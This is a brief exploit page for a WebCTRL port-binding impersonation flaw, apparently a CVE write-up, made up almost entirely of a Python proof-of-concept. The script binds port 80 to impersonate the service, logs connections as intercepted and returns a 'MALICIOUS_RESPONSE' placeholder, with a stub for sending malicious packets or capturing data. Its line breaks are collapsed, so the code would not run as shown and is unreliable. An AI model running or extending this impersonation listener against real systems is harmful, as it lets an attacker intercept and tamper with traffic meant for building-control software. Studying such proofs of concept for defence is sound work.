CVE-2026-25086 WebCTRL端口绑定欺骗漏洞

import socket import sys # PoC for CVE-2026-25086: Port Binding Impersonation # Description: This script attempts to bind to a specific port to impersonate the WebCTRL service. # Note: This is a conceptual demonstration for educational purposes. def impersonate_service(target_ip, target_port): try: # Create a TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Allow address reuse to facilitate binding sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print(f"[*] Attempting to bind to {target_ip}:{target_port}...") sock.bind((target_ip, target_port)) sock.listen(5) print(f"[+] Successfully bound to port {target_port}. Impersonating service.") while True: conn, addr = sock.accept() print(f"[!] Connection intercepted from {addr}") # Logic to send malicious packets or capture data would go here conn.send(b"MALICIOUS_RESPONSE") conn.close() except PermissionError: print("[-] Error: Permission denied. Try running with elevated privileges.") except OSError as e: print(f"[-] Error: Could not bind to port. {e}") except KeyboardInterrupt: print("\n[*] Stopping PoC.") sock.close() if __name__ == "__main__": # Replace with the actual port used by WebCTRL TARGET_PORT = 80 # Example port, actual port depends on configuration TARGET_IP = "0.0.0.0" impersonate_service(TARGET_IP, TARGET_PORT)